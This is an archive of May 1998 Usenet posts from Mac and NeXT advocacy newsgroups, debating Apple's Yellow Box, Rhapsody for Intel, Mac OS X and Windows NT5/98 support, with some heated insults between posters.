References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <joe.ragosta-1505981306200001@wil95.dol.net>
In article <joe.ragosta-1505981306200001@wil95.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Nonsense. Apple has specifically and clearly stated that YB will work on
> WinNT/95.
He was talking about NT5/98, not NT4/95.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 15:58:08 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnfgg$prv$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003tx <ericb-1705981553500001@132.236.171.104>
In article <ericb-1705981553500001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net>,
> drifterusa@sprintmail.com (John Bauer) wrote:
> > Actually, there is *less* risk now, as YB will likely ship with every
> > new Mac come late 99 vs. Rhapsody shipping to an elite few who needed or
> > desired its added value.
> Under the "old" plan MacOS 8 was going to have YB support, so I don't see
> how the number of potential users with a YB-compliant OS has changed much.
Yes, but would YB have shipped with every new Mac? It would have been
the smart choice.. anyway, YB under OS X will run better than YB under
MacOS..
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Sun, 17 May 1998 13:55:19 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355F3296.2AF7403@milestonerdl.com>
References: <355B510B.250023F2@milestonerdl.com> <355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us> <355EE75B.BAAEEFBB@milestonerdl.com> <6jn4gc$pam$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> Go buy the freaking video tapes of the conference. Try
> http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=
> Request the Tuesday Yellow Box session with Ali Ozer in it.
Session # pls. There are a few yellowbox sessions
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<HTML>
<P>Nathan Urban wrote:
<BLOCKQUOTE TYPE=CITE>Go buy the freaking video tapes of the conference.
Try
<BR><A HREF="http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=">http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=</A>
<BR>Request the Tuesday Yellow Box session with Ali Ozer in it.</BLOCKQUOTE>
Session # pls. There are a few yellowbox sessions</HTML>
--------------389F8F74786A27D93A5EFE60--
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 16:03:39 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981603400001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net>
In article <joe.ragosta-1505981426030001@wil136.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Because that is the *only* release of Rhapsody for Intel that we'll
ever see?
>
> Says who?
Companies don't usually ship products that have never been announced.
Apple used to talk about Rhapsody Premier/Unified or CR1/CR2, both of
which were PPC and x86. Now Apple only talks about 1.0 for PPC/Intel and
MacOS X for PPC. I am assuming that if Apple had a coherent Intel roadmap
that included continued x86 support, they would have announced it at WWDC.
I have now seen comments suggesting it will be dropped and comments
suggesting that it will not be dropped, so I can only conclude that it's
up in the air. An official public statement from Apple would be much
appreciated.
> Actually, Mac OS X is more like a version of Rhapsody with Carbon added.
> Just like the current situation:
But it doesn't run on the x86. That's why I want to see a firm public
commitment from Apple to Rhapsody/x86.
> Why? It was a MACINTOH WWDC. Why should they talk about Windows? They've
> stated over and over and over that YB will run on Windows. Why keep
> repeating themselves to an audience that isn't interested in Windows?
It was an *Apple* WWDC. YB is an Apple development tool. (Do you expect
Apple to hold a separate Windows WWDC to announce YB/Windows support for
NT5/Win98?)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 16:06:11 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981606110001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us>
In article <6jij5k$bgm$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <ericb-1505981832560001@132.236.171.104>, ericb@pobox.com
(Eric Bennett) wrote:
>
> > YB, yes. YB for Windows is questionable. Will it run on NT5 and Win98?
> > If yes, where are those announcements from Apple?
>
> http://www.stepwise.com/SpecialCoverage/WWDC98/
I read it. I would like to see a direct statement from an Apple official.
Lots of people around here think MacWeek screwed up reporting that OS X
will only run on the G3. They didn't directly quote an Apple
official--they provided their interpretation of what was said. Stepwise
is doing the same. I want to know exactly what statements by Apple are
behind the statements made in Stepwise.
There are a lot of comments flying around that support both sides of this
argument. That's why I think it's especially important in this case that
Apple make an official statement.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 17 May 1998 20:00:27 GMT
Organization: Idiom Communications
Message-ID: <6jnfkr$qjg$3@news.idiom.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
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Cc: jklein@ivy.hampshire.edu
jonathan klein may or may not have said:
[...]
-> Think of the schools and businesses with hundreds or thousands of
-> computers and the two or three administrators who have to manage
-> all the machines.
Right now, I can use Netinfo Manager to get at any machine on a network of
OpenStep hosts, and I don't have to use NSHost to do it. Remote
administration doesn't depend on display redirection.
-> When the time comes to make a proposal to buy new machines, there would
-> be a *really* strong argument in favor of machines that can be fully
-> managed remotely and can run all of the applications that normal users
-> need to run.
Then MacOS X still fits the bill.
-jcr
From: a l t e n b e r@nashville.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: End of WYSIWYG w/out DPS?
Date: 17 May 1998 20:08:00 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6jng30$fg7$1@supernews.com>
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Does the evisceration of Display PostScript from Yellow Box and MacOS X mean
the end of the true "What You See Is What You Get" feature unique to
Rhapsody, OpenStep and NeXTStep? This is more of a loss to MacOS X than the
loss of NSHost, in my opinion. It is a feature of NeXTStep and its
decendents that truly differentiated it from every other system out there.
The presence of this unified imaging model made it possible for me to
exchange images from any application to any other, and to take the printer
output and embed that in any application. And always with WYSIWYG.
Anyone know what the new MacOS X regime will bring?
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 19:58:11 GMT
Organization: P & L Systems
Message-ID: <6jnfgj$1cc$74@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com>
<6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com>
<rex-1305982038160001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-1305982038160001@192.168.0.3> Eric King wrote:
> That's something I've been thinking about.
>
Obviously not hard enough...
> The primary reason behind
> Apple's sudden shift in direction, is that current Mac OS developers did
> not want to totally rewrite their apps for Rhapsody.
>
... yes ...
> Now with Carbon, they won't have to,
>
... or at least not completely ...
> but the theory keeping the Yellow Box alive is that at
> some point those developers will just 'want' to totally rewrite their
> apps.
>
Nope -- there are other reasons to keep it alive. Existing and
yet-to-be-announced YellowBox apps. Including WebObjects.
> Presumably to take advantage of all of those nifty new Yellow
> Box-only features. But no matter how you look at it, it's still an
> expensive proposition.
>
No.
> How long before those same developers start saying,
> 'well, we'd love to support such & such feature, but since it's not part
> of Carbon, we won't.' followed by 'Hey, couldn't you guys figure out some
> way of letting Carbon apps use those advanced features without scrapping
> everything?'
>
THEY ALREADY HAVE.
It's already been reported that Carbon apps will be able to call the YB API,
and that AAA+'s Joy for Rhapsody is able to intercept both YB and Carbon
calls...
> This scenario doesn't necessarily spell the doom of the
> Yellow Box, so much as it suggests that chances are there won't be a
> well-defined line separating the Carbon APIs and the Yellow APIs.
> Furthermore, if enough large developers demand it, Apple could shift their
> emphasis from Yellow Box development to Carbon development.
>
... so this is unfounded, ill-informed tosh.
Still, no surprises there.
mmalc.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 16:08:08 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981608080001@132.236.171.104>
References: <35593b48.6388203@198.0.0.100> <B17DF73F-8875F@209.109.225.96> <ericb-1405981243410001@132.236.171.104> <see-below-1405982044570001@209.24.240.162> <ericb-1505981831520001@132.236.171.104> <joe.ragosta-1605980722210001@elk81.dol.net>
In article <joe.ragosta-1605980722210001@elk81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> It was a _Mac_ Developer's conference.
So when will Apple be holding its Windows development conference?
> And why should they make a statement just repeating what they have said
> many, many times. Should they send out a daily press release saying "we're
> still selling Macs today"? No, you just assume that they're going to keep
> selling them until they make a change. Same with Rhapsody/Intel. They have
> a policy statement and it remains in effect until changed.
People were confused about Apple's YB and Rhapsody strategies. They said,
"Wait until WWDC and then we'll tell you." But they didn't say much of
anything. All we have are comments from low-level people that suggest YB
on the x86 could go either way.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "Sung Ho Kim" <sk68@cornell.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 20:11:11 GMT
Organization: Cornell University
Sender: sk68@cornell.edu (Verified)
Message-ID: <01bd81cf$e165cb00$2a66ec84@am133>
References: <355c810a.0@206.25.228.5> <6jmt7c$78g$1@ndnws01.ne.highway1.com> <6jn4rq$pbi$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote in article
<6jn4rq$pbi$1@crib.bevc.blacksburg.va.us>...
>
> > Anyway, MacOSX sounds like vomit city; not someplace I plan to relocate
to.
>
> Now I know why Mac users complain about "those NeXTites". Sheesh.
> What's wrong with MacOS X??? It sounds better than Rhapsody 1.0 in every
> way I can think of except for no NSHosting and possibly a Carbon-based
> Finder/Workspace. And it definitely sounds better than OPENSTEP 4.2
> in _many_ respects except for the GUI, which is hopefully fixable with
> preferences and themes. (Maybe filesystem organization too; I don't know
> if they're going to keep their current cleanly-separated organization,
> or start glomming things together so you can dump documents in app
> directories and such.)
>
Frankly speaking, as a NS/OS user, I think the loss of the NeXT UI and
NSHosting is pretty major in terms of the "overall user experience."
Basically losing the NeXT UI means that I lost a major reason to stick with
the technology. Just as many MacOS users stay in the MacOS camp simply
because they find the UI more gratifying than W95/NT despite the fact that
NT, for example, might have better core technology, I would have liked to
stay in the NeXT UI camp as long as I could because of the same reasons.
And I am not that familiar with Appearance Manager, but I'm not so sure the
NeXT UI will be able to be replicated in its clean and elegant manner. Now
I guess I will stick to OS4.2, since I can at least NSHost to my aging (but
always sexy) NSTC and NCT and b/c I don't find Java support all that
enticing. And if you add into this the fact that DPS has gone... :(
Furthermore, with Intel support not all that bullish, I don't see much
reason to go X :) Anyway my 2E-8 centavos.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 15:14:49 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104>
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In article <ericb-1705981553500001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net>,
> drifterusa@sprintmail.com (John Bauer) wrote:
>
>
> > Actually, there is *less* risk now, as YB will likely ship with every
> > new Mac come late 99 vs. Rhapsody shipping to an elite few who needed or
> > desired its added value.
>
> Under the "old" plan MacOS 8 was going to have YB support, so I don't see
> how the number of potential users with a YB-compliant OS has changed much.
That was not a plan. That was rumor.
There was no definite indication that there would be a YB on Mac OS. IIRC,
the strongest commitment Apple made towards it was to "look into it". There
was rumor from various sites (particularly MacOSRumors), but there was
little directly from Apple that would have indicated it.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 20:20:43 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jngqr$icf$1@camel18.mindspring.com>
References: <ericb-1105981718430001@132.236.171.104> <6jnfgg$prv$1@crib.bevc.blacksburg.va.us> <ericb-1705981603400001@132.236.171.104>
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In article <ericb-1705981556400001@132.236.171.104> Eric Bennett,
ericb@pobox.com writes:
>He was talking about NT5/98, not NT4/95.
Since yellow already runs on '98 and NT5 beta, are you not satisfied?
MC
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 16:28:55 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnha7$pvl$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <355E123D.1939DF29@milestonerdl.com> <6jmu7u$1cc$57@ironhorse.plsys.co.uk> <355F2A75.9AB927B7@milestonerdl.com>
In article <355F2A75.9AB927B7@milestonerdl.com>, mark@milestonerdl.com wrote:
> mmalcolm crawford wrote:
> > In <355E123D.1939DF29@milestonerdl.com> M Rassbach wrote:
> > > mmalcolm crawford wrote:
> > > > In <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> Mike Paquette wrote:
> > > > > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > > > > for Windows works on Windows 98 Release Candidates and the Windows NT
> > > > > 5.0 beta.
> > > Can anyone point to a quicktime movie of this with a time index?
> > Umm, Mike Paquette is a senior YB engineer at Apple.
> Good. Now I've found this Mike Post. I have ASKED for a quicktime, or at
> least a session name so I can go get the tape.
> Now, is someone willing to identify WHERE and WHEN Ali spoke?
No. Do your own research. If you weren't being such a jerk I'd
tell you where. Hint: the names, times, and speakers of all the WWDC
seessions are nicely summarized somewhere on the Web. The words "Apple",
"WWDC", "Ali Ozer" and "Tuesday Yellow Box session" should be enough.
You could probably just say that to the people who sell the tapes and
they'd find the session for you.
> Or, are you going to continue being a dick Crawford?
Hey, speak for yourself, Rassbach. You're the one going around accusing
Mike and Scott of lying, after all -- saying that without a Quicktime
or a tape of the session, there is no reason to believe that they're
telling the truth about what was said there is tantamount to saying that
you doubt their word and suspect they may be deceiving us. And Mike
outright stated that he's got YB running on a 98 beta right now in his
office -- regardless of what Apple has stated, _that_ at least is true,
unless he's lying about that _too_.
We're all rather sick of your puerile behavior, "If I don't have a
Quicktime, then it wasn't said, nyah nyah". Suppose that this was
the good old days before Quicktimes, and a company held a conference.
Attendees, reporters, and corporate employees all report that the company
made some statement. Would you then refuse to believe it because there
wasn't a Quicktime? Because that's exactly the situation here.
Go buy the tape, shut up, and go away. After your immature behavior,
don't expect a single person here to be helpful to you in finding the
tape, you already have more than enough information to find it on your
own; it's not difficult.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 17 May 1998 16:31:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnhfv$q0h$1@crib.bevc.blacksburg.va.us>
References: <355B510B.250023F2@milestonerdl.com> <355EE75B.BAAEEFBB@milestonerdl.com> <6jn4gc$pam$1@crib.bevc.blacksburg.va.us> <355F30ED.F41882@milestonerdl.com>
In article <355F30ED.F41882@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> Go buy the freaking video tapes of the conference. Try
>
> > http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=
> > Request the Tuesday Yellow Box session with Ali Ozer in it.
> Thank you. It's about time you got around to mentioning where these quotes
> can be found.
Now I'm regretting having told you. You've basically been saying that
without the tapes, there's no reason to believe that Mike and Scott aren't
lying. That's highly insulting, especially to Scott, who was exhausting
himself _while sick_ to bring us accurate coverage of the WWDC events.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 17 May 1998 16:41:09 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jni15$q19$1@crib.bevc.blacksburg.va.us>
References: <355B510B.250023F2@milestonerdl.com> <355EE75B.BAAEEFBB@milestonerdl.com> <6jn4gc$pam$1@crib.bevc.blacksburg.va.us> <355F3296.2AF7403@milestonerdl.com>
In article <355F3296.2AF7403@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > Go buy the freaking video tapes of the conference. Try
> > http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=
> > Request the Tuesday Yellow Box session with Ali Ozer in it.
> Session # pls. There are a few yellowbox sessions
How would I know? I wasn't there. All I know about which session it was
is what Mike said. Why don't you ask him? Be sure to phrase it politely,
like, "I don't believe you when you said that Ali Ozer said that in the
Tuesday Yellow Box session, so I want hard proof. Mind helping me out
a bit here?"
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 1998 20:24:36 GMT
Organization: P & L Systems
Message-ID: <6jnh24$1cc$75@ironhorse.plsys.co.uk>
References: <1d954yz.ds1gve1l8datsN@carina37.wco.com> <B183D7A4-C17E@206.165.43.147>
<djboccip-1705980929460001@tnt2-127.hiwaay.net>
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Cc: djboccip@hiwaay.net
In article <B183D7A4-C17E@206.165.43.147>, "Lawson English"
<english@primenet.com> wrote:
> Publicly denouncing a specific person is also an interesting tactic.
>
> Do you get paid extra for it?
>
Oh, in your case I hope he does. It provides excellent entertainment, whilst
also being very educational. Even better than the Discovery channel.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 1998 20:26:57 GMT
Organization: P & L Systems
Message-ID: <6jnh6h$1cc$76@ironhorse.plsys.co.uk>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu>
<3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com>
<355A171A.4F4F20C8@milestonerdl.com> <6ji63i$1cc$48@ironhorse.plsys.co.uk>
<199805160314101503615@sdn-ts-003txhousp16.dialsprint.net>
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Cc: drifterusa@sprintmail.com
In <199805160314101503615@sdn-ts-003txhousp16.dialsprint.net> John Bauer
wrote:
> mmalcolm crawford wrote:
>
> > I've stated elsewhere I'm willing to lay $100 on YB running on Win98
within a
> > year of it shipping.
> > Put up or shut up.
> > I'd offer the same for NT5, but who knows when that would ship. $100 may
not
> > be worth fighting over by the time NT5 arrives.
>
> How about 100 Euros? ;-)
>
That would be an interesting side-bet -- which will ship first, the Euro or
NT5?
:-)
Best wishes,
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 16:53:32 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnioc$q2s$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104>
In article <ericb-1705981606110001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jij5k$bgm$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > In article <ericb-1505981832560001@132.236.171.104>, ericb@pobox.com
> (Eric Bennett) wrote:
> > > YB, yes. YB for Windows is questionable. Will it run on NT5 and Win98?
> > > If yes, where are those announcements from Apple?
> > http://www.stepwise.com/SpecialCoverage/WWDC98/
> I read it. I would like to see a direct statement from an Apple official.
> Lots of people around here think MacWeek screwed up reporting that OS X
> will only run on the G3.
Granted, but on the other hand, Scott Anguish is not MacWeek, he's very
careful about what he reports, _and_ we have independent corroboration
from an Apple employee that YB at least runs on the Windows betas in
the Apple labs. That's credible enough for me.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 17 May 1998 20:35:00 GMT
Organization: P & L Systems
Message-ID: <6jnhlk$1cc$77@ironhorse.plsys.co.uk>
References: <01bd81b9$c8480d60$04387880@test1>
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Cc: todd@NetSQ.com
In <01bd81b9$c8480d60$04387880@test1> "Todd Heberlein" wrote:
> WINNERS:
> [...]
> (3) OpenStep Developers of Innovative Apps. The Carbon strategy
> ensures that MacOS X will be adopted by large numbers of potential
> customers.
> [...]
> LOSERS:
> [...]
> (2) OpenStep Developers of Common Apps. With Apple shipping
> AppleWorks for Carbon and Microsoft and other developers commitment
> to Carbon, selling an OpenStep word processor just got a lot tougher.
> The same may be true of spreadsheets, web browsers, and other
> relatively low-cost applications.
>
The main thing here will be whether the Common Apps are also Innovative apps.
In our case (Mesa/spreadsheet in case anyone's forgotten ;-) we think we
have a number of features which leverage the power of the YellowBox (esp EOF)
which will make Mesa an attractive proposition for a segment of the market.
Best wishes,
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 17:05:04 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnje0$q41$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <355EDED8.23B8E3E0@milestonerdl.com> <6jn5na$pel$1@crib.bevc.blacksburg.va.us> <355F264C.87FF0A28@milestonerdl.com>
In article <355F264C.87FF0A28@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355EDED8.23B8E3E0@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > When *I* get conformation, I'll send for the tape.
> > Confirmation from who?? About what?
> If you were not such a fucking stroke,
Oh, if it isn't Mr. Juvenile back for more.
> you would have read the ENTIRE post.
I read the entire post. Your communication skills are obviously
deficient.
> WWDC-98-197 (1-tape set)
> Yellow Box Feedback
> Forum
>
> seems to be the right one. When *I* get conformation, I'll send for the
> tape. Where WWDC-98-197 is the tape that should have the quote.
Like I said: confirmation from who, about what? You obviously want
confirmation of _something_ before you order the tape (unless "sending
for a tape" means something other than "ordering a tape" to you),
but you never stated what it is you want confirmed. Confirmation that
someone on the tape says that Rhapsody/Intel is being dropped? If you
had confirmation of that, you wouldn't need the tape! Confirmation that
it's the right tape? Akira said it was in response to a question he
asked in the YB feedback forum, what more confirmation do you want??
> > Surely you're bright enough
> It would seem that you are not. Or, unable to read.
My reading comprehension is apparently a lot better than your writing
ability, considering the fact that you said nothing about what it
was you wanted confirmed.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 17:12:34 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnjs2$q59$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <355EDB94.4A38F0A9@milestonerdl.com> <6jn5tq$pfg$1@crib.bevc.blacksburg.va.us> <355F2911.CD169466@milestonerdl.com>
In article <355F2911.CD169466@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355EDB94.4A38F0A9@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > Ouch. That's about as close as it gets, save a press release that says
> > > otherwise.Do you remember any other points from that session? About future
> > > (or lack thereof) for the YB under windows?
> > What a hypocrite!
> Not At all.
Uh huh.
> > You're willing to take Akira's word
> Not at All. Akira has mentioned a session where his question can be heard,
> and the answer. When I get the conformation of tape for the session, I'll
> go buy the tape and listen to it myself.
He said outright that it was the YB feedback session on Friday. There was
only one of those.
> > for it when he claims that Apple
> > said that they're killing Rhapsody/Intel, but you're not willing to take
> > Scott or
> Scott has provided no person who said what or when. Just what he understood
> was said.
He stated what was said. He is either telling the truth, lying, or
mistaken. He's not mistaken, because that was one of the things on the
list of Q&A questions that he was specifically asked to find out and
seek clarification from Apple officials.
> > Mike's word for it (and Mike _also_ cited a specific session
> > and speaker)
> Mike who?
Mike Paquette. You know, the senior YB engineer at Apple who told you
about the Ali Ozer session, and said that they've got YB running on
Windows betas in the Apple labs at this very moment?
> > -- Scott being the _official WWDC reporter_
> 'official' of who? Official of YPOV? (Your Point of View)
Official enough that Apple officials specifically sought him out
privately and asked him to include clarifications of some of the things
in the sessions in his Stepwise reporting.
> > and Mike being
> > a _senior Apple YB engineer_, both more credible in this respect than
> > Akira (not to put him down or anything) --
> Ok.....show a pointer to where Mike said what. I may have missed it.
Go look it up on DejaNews yourself.
> > when they claim that Apple
> > said that there will be NT5/98 support, and that YB/Windows is part of
> > their long-term strategy?
> Again, show me a pointer. Akira has been specific to a time/place and source.
> The only thing I saw drift by in this thread was a demo of YB on NT5 beta.
Ali Ozer, YB session, Tuesday. That's all I know.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 1998 21:01:35 GMT
Organization: P & L Systems
Message-ID: <6jnj7f$1cc$78@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
<3559CD42.9033EE77@milestonerdl.com> <6jh41d$1cc$41@ironhorse.plsys.co.uk>
<355C29F0.2F0A8AB1@milestonerdl.com>
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Cc: mark@milestonerdl.com
